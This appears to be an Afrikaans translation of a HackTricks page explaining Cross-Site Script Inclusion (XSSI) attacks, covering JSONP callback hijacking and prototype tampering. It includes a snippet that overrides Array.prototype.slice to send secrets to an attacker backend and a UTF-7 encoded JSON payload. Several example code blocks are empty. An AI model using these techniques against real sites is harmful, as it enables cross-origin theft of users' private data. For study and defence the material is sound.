# XSSI (Cross-Site Script Inclusion) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Information **Cross-Site Script Inclusion (XSSI)** is 'n kwesbaarheid wat ontstaan uit die aard van die `script` tag in HTML. Anders as die meeste hulpbronne, wat onderhewig is aan die **Same-Origin Policy (SOP)**, kan skripte van verskillende domeine ingesluit word. Hierdie gedrag is bedoel om die gebruik van biblioteke en ander hulpbronne wat op verskillende bedieners gehoste is, te fasiliteer, maar dit stel ook 'n potensiële sekuriteitsrisiko in. ### Key Characteristics of **XSSI**: - **Bypass of SOP**: Skripte is vrygestel van die **Same-Origin Policy**, wat dit moontlik maak om oor domeine ingesluit te word. - **Data Exposure**: 'n Aanvaller kan hierdie gedrag benut om data wat via die `script` tag gelaai is, te lees. - **Impact on Dynamic JavaScript/JSONP**: **XSSI** is veral relevant vir dinamiese JavaScript of **JSON with Padding (JSONP)**. Hierdie tegnologieë gebruik dikwels "ambient-authority" inligting (soos koekies) vir outentisering. Wanneer 'n skrip versoek na 'n ander gasheer gemaak word, word hierdie geloofsbriewe (bv. koekies) outomaties in die versoek ingesluit. - **Authentication Token Leakage**: As 'n aanvaller 'n gebruiker se blaaiert kan mislei om 'n skrip van 'n bediener wat hulle beheer, aan te vra, mag hulle in staat wees om sensitiewe inligting wat in hierdie versoeke bevat is, te bekom. ### Types 1. **Static JavaScript** - Dit verteenwoordig die konvensionele vorm van XSSI. 2. **Static JavaScript with Authentication** - Hierdie tipe is uniek omdat dit outentisering vereis om toegang te verkry. 3. **Dynamic JavaScript** - Betrek JavaScript wat dinamies inhoud genereer. 4. **Non-JavaScript** - Verwys na kwesbaarhede wat nie direk JavaScript betrek nie. **The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details. ### Regular XSSI In hierdie benadering is private inligting ingebed binne 'n wêreldwyd toeganklike JavaScript-lêer. Aanvallers kan hierdie lêers identifiseer deur metodes soos lêerlees, sleutelwoordsoektogte, of gereelde uitdrukkings. Sodra dit geleë is, kan die skrip wat private inligting bevat, ingesluit word in kwaadwillige inhoud, wat ongeoorloofde toegang tot sensitiewe data moontlik maak. 'n Voorbeeld van 'n eksploitasiemetode word hieronder getoon: ```html ``` ### Dynamiese-JavaScript-gebaseerde-XSSI en Geverifieerde-JavaScript-XSSI Hierdie tipes XSSI-aanvalle behels dat vertroulike inligting dinamies by die skrip gevoeg word in reaksie op 'n gebruiker se versoek. Opsporing kan gedoen word deur versoeke met en sonder koekies te stuur en die antwoorde te vergelyk. As die inligting verskil, kan dit die teenwoordigheid van vertroulike inligting aandui. Hierdie proses kan geoutomatiseer word met behulp van gereedskap soos die [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp-uitbreiding. As vertroulike data in 'n globale veranderlike gestoor word, kan dit uitgebuit word met behulp van soortgelyke metodes as dié wat in Gereelde XSSI gebruik word. As die vertroulike data egter in 'n JSONP-antwoord ingesluit is, kan aanvallers die terugroepfunksie oorneem om die inligting te verkry. Dit kan gedoen word deur óf globale voorwerpe te manipuleer óf 'n funksie op te stel wat deur die JSONP-antwoord uitgevoer moet word, soos hieronder gedemonstreer: ```html ``` ```html ``` Vir veranderlikes wat nie in die globale naamruimte woon nie, kan *prototype tampering* soms uitgebuit word. Hierdie tegniek benut JavaScript se ontwerp, waar kode-interpretasie die prototipe-ketting deurloop om die aangeroepde eienskap te vind. Deur sekere funksies te oorskry, soos `Array` se `slice`, kan aanvallers nie-globale veranderlikes toegang en lek: ```javascript Array.prototype.slice = function(){ // leaks ["secret1", "secret2", "secret3"] sendToAttackerBackend(this); }; ``` Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/). ### Non-Script-XSSI Takeshi Terada se navorsing stel 'n ander vorm van XSSI bekend, waar Non-Script lêers, soos CSV, oor oorsprong gelek word deur as bronne in 'n `script` tag ingesluit te word. Historiese voorbeelde van XSSI, soos Jeremiah Grossman se 2006 aanval om 'n volledige Google adresboek te lees en Joe Walker se 2007 JSON data lek, beklemtoon die erns van hierdie bedreigings. Daarbenewens beskryf Gareth Heyes 'n aanval variant wat UTF-7 geënkodeerde JSON insluit om die JSON formaat te ontsnap en skripte uit te voer, effektief in sekere blaaiers: ```javascript [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] ``` ```html ``` {% hint style="success" %} Leer & oefen AWS Hacking:[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Leer & oefen GCP Hacking: [**HackTricks Opleiding GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Ondersteun HackTricks * Kyk na die [**subskripsie planne**](https://github.com/sponsors/carlospolop)! * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}